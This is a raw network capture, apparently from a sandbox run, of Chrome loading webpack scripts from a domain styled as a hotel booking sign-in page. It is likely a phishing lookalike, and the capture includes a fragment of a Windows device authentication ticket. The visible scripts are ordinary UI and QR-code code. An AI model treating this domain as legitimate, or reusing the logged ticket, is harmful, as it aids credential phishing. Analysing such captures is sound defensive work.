Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	548	OUT	OPTIONS /report/v4?s=5VEwrHJCj5UIAvdkySTjdb1lNtu3anNH5qtf5MktDCOTLRy%2BAY1ChKfb3HTqvYxPwN%2Bb7C6GTT7Q9YIEgsxfTbJhvAEpfu2zOQzuapT1cK0Jpbiqzimmah4f%2F%2FoApkH6aKyL%2Fg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://hotel-id637438.eu Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:27 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 08 Jul 2024 22:43:26 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49724	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4b 52 46 4e 47 68 42 6a 59 55 53 55 57 65 4e 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 35 38 32 65 37 34 66 64 63 66 30 35 65 35 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: KRFNGhBjYUSUWeNd.1Context: b582e74fdcf05e56
2024-07-08 22:43:27 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-08 22:43:27 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 4b 52 46 4e 47 68 42 6a 59 55 53 55 57 65 4e 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 35 38 32 65 37 34 66 64 63 66 30 35 65 35 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 45 43 2f 78 57 6c 5a 4a 44 2f 59 2b 54 78 6b 73 59 4c 34 34 50 78 58 42 79 43 74 73 2b 6e 68 39 42 5a 6c 64 54 4b 7a 6d 71 50 67 38 44 46 43 2b 68 6e 54 69 38 32 46 78 46 31 6e 71 50 38 43 57 4d 47 4f 48 57 64 54 45 6c 64 43 63 30 61 53 74 68 43 41 68 65 63 4f 64 62 74 41 6c 72 54 6e 45 63 65 37 6b 74 6c 47 44 72 76 34 76 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: KRFNGhBjYUSUWeNd.2Context: b582e74fdcf05e56<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYEC/xWlZJD/Y+TxksYL44PxXByCts+nh9BZldTKzmqPg8DFC+hnTi82FxF1nqP8CWMGOHWdTEldCc0aSthCAhecOdbtAlrTnEce7ktlGDrv4v
2024-07-08 22:43:27 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4b 52 46 4e 47 68 42 6a 59 55 53 55 57 65 4e 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 35 38 32 65 37 34 66 64 63 66 30 35 65 35 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: KRFNGhBjYUSUWeNd.3Context: b582e74fdcf05e56<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-08 22:43:27 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-08 22:43:27 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 70 73 53 79 2b 70 50 43 6b 43 30 58 44 6d 55 78 6b 2f 2b 2b 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: spsSy+pPCkC0XDmUxk/++w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49730	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	615	OUT	GET /static/876_ae71aefc2f960c9d4720.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:27 UTC	663	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 134344 Connection: close last-modified: Sat, 06 Jul 2024 13:10:50 GMT etag: "0d099dc9cca1907ca59703b1fb773dd6" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MZjX9Ly67po9g9BiYH7p0IzwKvSmaHI2NcODOkPQiWV8cREFDMjRfpF%2BEsqe7mxv3sHaxsu7Rzn7Ky7oW4x0df30APHNv6gu3ZqU1UscA3U1tshhVyPJRWhuFEtDbdp%2Fbj6VzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397df4f43420a-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:27 UTC	706	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 38 37 36 5f 61 65 37 31 61 65 66 63 32 66 39 36 30 63 39 64 34 37 32 30 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 37 36 5d 2c 7b 34 39 31 35 38 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 Data Ascii: /! For license information please see 876_ae71aefc2f960c9d4720.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[876],{49158:function(d,t,e){"use strict";var r
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 65 6e 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 39 2e 35 20 31 36 2e 35 76 35 2e 32 35 61 2e 37 35 2e 37 35 20 30 20 30 20 31 2d 2e 37 35 2e 37 35 48 35 2e 32 35 61 2e 37 35 2e 37 35 20 30 20 30 20 31 2d 2e 37 35 2d 2e 37 35 76 2d 31 30 2e 35 61 2e 37 35 2e 37 35 20 30 20 30 20 31 20 2e 37 35 2d 2e 37 35 68 31 33 2e 35 61 2e 37 35 2e 37 35 20 30 20 30 20 31 20 2e 37 35 2e 37 35 7a 6d 31 2e 35 20 30 76 2d 35 2e 32 35 41 32 2e 32 35 20 32 2e 32 35 20 30 20 30 20 30 20 31 38 2e 37 35 20 39 48 35 2e 32 35 41 32 2e 32 35 20 32 2e 32 35 20 30 20 30 20 30 20 33 20 31 31 2e 32 35 76 31 30 2e 35 41 32 2e 32 35 20 32 2e 32 35 20 30 20 30 20 30 20 35 2e 32 35 20 32 34 68 31 33 2e 35 41 32 2e 32 35 20 32 2e 32 35 20 30 20 30 20 30 20 32 31 20 32 31 2e 37 35 7a 4d Data Ascii: ent("path",{d:"M19.5 16.5v5.25a.75.75 0 0 1-.75.75H5.25a.75.75 0 0 1-.75-.75v-10.5a.75.75 0 0 1 .75-.75h13.5a.75.75 0 0 1 .75.75zm1.5 0v-5.25A2.25 2.25 0 0 0 18.75 9H5.25A2.25 2.25 0 0 0 3 11.25v10.5A2.25 2.25 0 0 0 5.25 24h13.5A2.25 2.25 0 0 0 21 21.75zM
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 78 69 6e 3a 6d 7d 2c 62 28 22 73 74 61 72 74 22 29 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 61 2e 74 65 78 74 7d 2c 74 7c 7c 65 29 2c 62 28 22 65 6e 64 22 29 29 7d 7d 2c 32 39 38 30 38 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 64 28 74 2c 7b 41 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 29 3b 76 61 72 20 72 3d 65 28 39 36 35 34 30 29 2c 24 3d 65 28 35 39 34 39 30 29 2c 6e 3d 65 28 33 33 31 36 32 29 2c 6f 3d 7b 22 72 6f 6f 74 2d 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 22 3a 22 4d 46 48 79 51 78 69 51 47 61 5a 63 76 6b 35 36 33 7a 5f 6c 22 2c 22 72 6f 6f 74 2d 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 5f 61 6c 74 22 Data Ascii: xin:m},b("start"),r.createElement("span",{className:a.text},t\|\|e),b("end"))}},29808:function(d,t,e){"use strict";e.d(t,{A:function(){return a}});var r=e(96540),$=e(59490),n=e(33162),o={"root--color-neutral":"MFHyQxiQGaZcvk563z_l","root--color-neutral_alt"
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 68 61 73 69 7a 65 64 5f 32 22 3a 22 6a 69 46 31 53 53 5f 45 4f 6c 38 73 55 6c 6a 49 49 6e 46 45 22 2c 22 72 6f 6f 74 2d 2d 76 61 72 69 61 6e 74 2d 62 6f 64 79 5f 31 22 3a 22 6a 45 38 76 34 50 32 67 4c 72 4e 35 56 34 54 50 56 45 62 58 22 2c 22 72 6f 6f 74 2d 2d 76 61 72 69 61 6e 74 2d 62 6f 64 79 5f 32 22 3a 22 52 5f 68 37 53 75 6c 4d 69 6b 76 67 55 58 34 37 47 42 76 51 22 2c 22 72 6f 6f 74 2d 2d 76 61 72 69 61 6e 74 2d 73 6d 61 6c 6c 5f 31 22 3a 22 64 36 64 56 46 58 38 6f 42 71 5a 55 30 62 6d 73 66 4c 4c 4c 22 2c 22 72 6f 6f 74 2d 2d 76 61 72 69 61 6e 74 2d 73 6d 61 6c 6c 5f 32 22 3a 22 79 6a 4f 7a 76 65 75 6d 37 72 50 49 46 4d 4a 4c 4d 69 44 4b 22 2c 22 72 6f 6f 74 2d 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 6c 65 66 74 22 3a 22 6a 39 76 79 70 4e 4d 57 46 4d Data Ascii: hasized_2":"jiF1SS_EOl8sUljIInFE","root--variant-body_1":"jE8v4P2gLrN5V4TPVEbX","root--variant-body_2":"R_h7SulMikvgUX47GBvQ","root--variant-small_1":"d6dVFX8oBqZU0bmsfLLL","root--variant-small_2":"yjOzveum7rPIFMJLMiDK","root--text-align-left":"j9vypNMWFM
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 3e 3e 3e 37 2d 64 25 38 26 31 29 7d 2c 70 75 74 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 74 3b 65 2b 2b 29 74 68 69 73 2e 70 75 74 42 69 74 28 31 3d 3d 28 64 3e 3e 3e 74 2d 65 2d 31 26 31 29 29 7d 2c 67 65 74 4c 65 6e 67 74 68 49 6e 42 69 74 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 65 6e 67 74 68 7d 2c 70 75 74 42 69 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 74 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 68 69 73 2e 6c 65 6e 67 74 68 2f 38 29 3b 74 68 69 73 2e 62 75 66 66 65 72 2e 6c 65 6e 67 74 68 3c 3d 74 26 26 74 68 69 73 2e 62 75 66 66 65 72 2e 70 75 73 68 28 30 29 2c 64 26 26 28 74 68 69 73 2e 62 75 66 66 65 72 5b 74 5d 7c 3d 31 32 38 3e 3e 3e 74 68 69 73 2e 6c Data Ascii: >>>7-d%8&1)},put:function(d,t){for(var e=0;e<t;e++)this.putBit(1==(d>>>t-e-1&1))},getLengthInBits:function(){return this.length},putBit:function(d){var t=Math.floor(this.length/8);this.buffer.length<=t&&this.buffer.push(0),d&&(this.buffer[t]\|=128>>>this.l
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 3b 75 2e 61 64 64 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 74 3d 6e 65 77 20 72 28 64 29 3b 74 68 69 73 2e 64 61 74 61 4c 69 73 74 2e 70 75 73 68 28 74 29 2c 74 68 69 73 2e 64 61 74 61 43 61 63 68 65 3d 6e 75 6c 6c 7d 2c 75 2e 69 73 44 61 72 6b 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 69 66 28 64 3c 30 7c 7c 74 68 69 73 2e 6d 6f 64 75 6c 65 43 6f 75 6e 74 3c 3d 64 7c 7c 74 3c 30 7c 7c 74 68 69 73 2e 6d 6f 64 75 6c 65 43 6f 75 6e 74 3c 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 64 2b 22 2c 22 2b 74 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 6f 64 75 6c 65 73 5b 64 5d 5b 74 5d 7d 2c 75 2e 67 65 74 4d 6f 64 75 6c 65 43 6f 75 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 Data Ascii: prototype;u.addData=function(d){var t=new r(d);this.dataList.push(t),this.dataCache=null},u.isDark=function(d,t){if(d<0\|\|this.moduleCount<=d\|\|t<0\|\|this.moduleCount<=t)throw new Error(d+","+t);return this.modules[d][t]},u.getModuleCount=function(){return t
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 20 65 3d 2d 31 3b 65 3c 3d 37 3b 65 2b 2b 29 69 66 28 21 28 64 2b 65 3c 3d 2d 31 7c 7c 74 68 69 73 2e 6d 6f 64 75 6c 65 43 6f 75 6e 74 3c 3d 64 2b 65 29 29 66 6f 72 28 76 61 72 20 72 3d 2d 31 3b 72 3c 3d 37 3b 72 2b 2b 29 74 2b 72 3c 3d 2d 31 7c 7c 74 68 69 73 2e 6d 6f 64 75 6c 65 43 6f 75 6e 74 3c 3d 74 2b 72 7c 7c 28 74 68 69 73 2e 6d 6f 64 75 6c 65 73 5b 64 2b 65 5d 5b 74 2b 72 5d 3d 30 3c 3d 65 26 26 65 3c 3d 36 26 26 28 30 3d 3d 72 7c 7c 36 3d 3d 72 29 7c 7c 30 3c 3d 72 26 26 72 3c 3d 36 26 26 28 30 3d 3d 65 7c 7c 36 3d 3d 65 29 7c 7c 32 3c 3d 65 26 26 65 3c 3d 34 26 26 32 3c 3d 72 26 26 72 3c 3d 34 29 7d 2c 75 2e 67 65 74 42 65 73 74 4d 61 73 6b 50 61 74 74 65 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 74 3d 30 2c Data Ascii: e=-1;e<=7;e++)if(!(d+e<=-1\|\|this.moduleCount<=d+e))for(var r=-1;r<=7;r++)t+r<=-1\|\|this.moduleCount<=t+r\|\|(this.modules[d+e][t+r]=0<=e&&e<=6&&(0==r\|\|6==r)\|\|0<=r&&r<=6&&(0==e\|\|6==e)\|\|2<=e&&e<=4&&2<=r&&r<=4)},u.getBestMaskPattern=function(){for(var d=0,t=0,
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 73 5b 65 25 33 2b 74 68 69 73 2e 6d 6f 64 75 6c 65 43 6f 75 6e 74 2d 38 2d 33 5d 5b 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 2f 33 29 5d 3d 72 7d 2c 75 2e 73 65 74 75 70 54 79 70 65 49 6e 66 6f 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 68 69 73 2e 65 72 72 6f 72 43 6f 72 72 65 63 74 4c 65 76 65 6c 3c 3c 33 7c 74 2c 72 3d 6f 2e 67 65 74 42 43 48 54 79 70 65 49 6e 66 6f 28 65 29 2c 24 3d 30 3b 24 3c 31 35 3b 24 2b 2b 29 7b 76 61 72 20 6e 3d 21 64 26 26 31 3d 3d 28 72 3e 3e 24 26 31 29 3b 24 3c 36 3f 74 68 69 73 2e 6d 6f 64 75 6c 65 73 5b 24 5d 5b 38 5d 3d 6e 3a 24 3c 38 3f 74 68 69 73 2e 6d 6f 64 75 6c 65 73 5b 24 2b 31 5d 5b 38 5d 3d 6e 3a 74 68 69 73 2e 6d 6f 64 75 6c 65 73 5b 74 68 69 73 2e 6d 6f 64 75 6c 65 43 6f 75 6e 74 Data Ascii: s[e%3+this.moduleCount-8-3][Math.floor(e/3)]=r},u.setupTypeInfo=function(d,t){for(var e=this.errorCorrectLevel<<3\|t,r=o.getBCHTypeInfo(e),$=0;$<15;$++){var n=!d&&1==(r>>$&1);$<6?this.modules[$][8]=n:$<8?this.modules[$+1][8]=n:this.modules[this.moduleCount
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 6e 65 77 20 41 72 72 61 79 28 74 2e 6c 65 6e 67 74 68 29 2c 69 3d 6e 65 77 20 41 72 72 61 79 28 74 2e 6c 65 6e 67 74 68 29 2c 75 3d 30 3b 75 3c 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 7b 76 61 72 20 6c 3d 74 5b 75 5d 2e 64 61 74 61 43 6f 75 6e 74 2c 73 3d 74 5b 75 5d 2e 74 6f 74 61 6c 43 6f 75 6e 74 2d 6c 3b 72 3d 4d 61 74 68 2e 6d 61 78 28 72 2c 6c 29 2c 24 3d 4d 61 74 68 2e 6d 61 78 28 24 2c 73 29 2c 6e 5b 75 5d 3d 6e 65 77 20 41 72 72 61 79 28 6c 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 6e 5b 75 5d 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 6e 5b 75 5d 5b 63 5d 3d 32 35 35 26 64 2e 62 75 66 66 65 72 5b 63 2b 65 5d 3b 65 2b 3d 6c 3b 76 61 72 20 66 3d 6f 2e 67 65 74 45 72 72 6f 72 43 6f 72 72 65 63 74 50 6f 6c 79 6e 6f 6d 69 61 6c 28 73 29 2c 68 3d 6e 65 Data Ascii: new Array(t.length),i=new Array(t.length),u=0;u<t.length;u++){var l=t[u].dataCount,s=t[u].totalCount-l;r=Math.max(r,l),$=Math.max($,s),n[u]=new Array(l);for(var c=0;c<n[u].length;c++)n[u][c]=255&d.buffer[c+e];e+=l;var f=o.getErrorCorrectPolynomial(s),h=ne
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 5b 34 2c 34 36 2c 32 30 2c 36 2c 34 37 2c 32 31 5d 2c 5b 37 2c 34 32 2c 31 34 2c 34 2c 34 33 2c 31 35 5d 2c 5b 34 2c 31 33 33 2c 31 30 37 5d 2c 5b 38 2c 35 39 2c 33 37 2c 31 2c 36 30 2c 33 38 5d 2c 5b 38 2c 34 34 2c 32 30 2c 34 2c 34 35 2c 32 31 5d 2c 5b 31 32 2c 33 33 2c 31 31 2c 34 2c 33 34 2c 31 32 5d 2c 5b 33 2c 31 34 35 2c 31 31 35 2c 31 2c 31 34 36 2c 31 31 36 5d 2c 5b 34 2c 36 34 2c 34 30 2c 35 2c 36 35 2c 34 31 5d 2c 5b 31 31 2c 33 36 2c 31 36 2c 35 2c 33 37 2c 31 37 5d 2c 5b 31 31 2c 33 36 2c 31 32 2c 35 2c 33 37 2c 31 33 5d 2c 5b 35 2c 31 30 39 2c 38 37 2c 31 2c 31 31 30 2c 38 38 5d 2c 5b 35 2c 36 35 2c 34 31 2c 35 2c 36 36 2c 34 32 5d 2c 5b 35 2c 35 34 2c 32 34 2c 37 2c 35 35 2c 32 35 5d 2c 5b 31 31 2c 33 36 2c 31 32 5d 2c 5b 35 2c 31 32 32 2c Data Ascii: [4,46,20,6,47,21],[7,42,14,4,43,15],[4,133,107],[8,59,37,1,60,38],[8,44,20,4,45,21],[12,33,11,4,34,12],[3,145,115,1,146,116],[4,64,40,5,65,41],[11,36,16,5,37,17],[11,36,12,5,37,13],[5,109,87,1,110,88],[5,65,41,5,66,42],[5,54,24,7,55,25],[11,36,12],[5,122,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49731	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	615	OUT	GET /static/743_b69caf87a77dbbcadcee.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:27 UTC	672	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 44310 Connection: close last-modified: Sat, 06 Jul 2024 13:10:51 GMT etag: "e1a952e8113a26ca76219e5461ba4dfe" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cB6zKZo%2BsbeFvzP47RJhbtgGBCpLdtQpLCzuT6AVE6dn0ZLQK%2BIXj%2F70Uz1H0%2BCdDqcIJX1Cw7o7WDlr1sU44O%2F3%2BXZ59%2Be0BHXCDZ32cC9rQqAYIj9OnT8ohM8HygIJ3OV47Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397df5fe443c1-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:27 UTC	697	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 37 34 33 5f 62 36 39 63 61 66 38 37 61 37 37 64 62 62 63 61 64 63 65 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 34 33 5d 2c 7b 37 32 30 31 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 28 39 36 35 Data Ascii: /! For license information please see 743_b69caf87a77dbbcadcee.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[743],{72011:function(t,e,n){"use strict";n(965
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 72 3d 6e 28 39 36 35 34 30 29 2c 6f 3d 6e 28 35 39 34 39 30 29 2c 69 3d 6e 28 36 32 36 33 30 29 2c 61 3d 6e 28 38 39 33 32 38 29 2c 75 3d 74 3d 3e 7b 63 6f 6e 73 74 7b 68 69 64 65 43 6c 6f 73 65 3a 65 2c 63 68 69 6c 64 72 65 6e 3a 6e 2c 66 69 6c 6c 3a 75 2c 6f 6e 43 6c 6f 73 65 3a 63 2c 62 75 74 74 6f 6e 43 6f 6c 6f 72 3a 66 2c 63 6c 61 73 73 4e 61 6d 65 3a 73 2c 61 74 74 72 69 62 75 74 65 73 3a 6c 2c 63 6c 6f 73 65 41 72 69 61 4c 61 62 65 6c 3a 64 2c 63 6c 6f 73 65 43 6c 61 73 73 4e 61 6d 65 3a 70 2c 63 6c 6f 73 65 41 74 74 72 69 62 75 74 65 73 3a 76 7d 3d 74 2c 68 3d 28 30 2c 6f 2e 78 57 29 28 22 71 38 51 55 34 70 79 69 53 73 6c 45 44 31 61 72 31 30 45 77 22 2c 73 2c 75 26 26 22 5f 49 55 64 70 37 73 78 69 46 65 42 41 4a 36 71 53 51 42 4b 22 2c 65 26 26 Data Ascii: r=n(96540),o=n(59490),i=n(62630),a=n(89328),u=t=>{const{hideClose:e,children:n,fill:u,onClose:c,buttonColor:f,className:s,attributes:l,closeAriaLabel:d,closeClassName:p,closeAttributes:v}=t,h=(0,o.xW)("q8QU4pyiSslED1ar10Ew",s,u&&"_IUdp7sxiFeBAJ6qSQBK",e&&
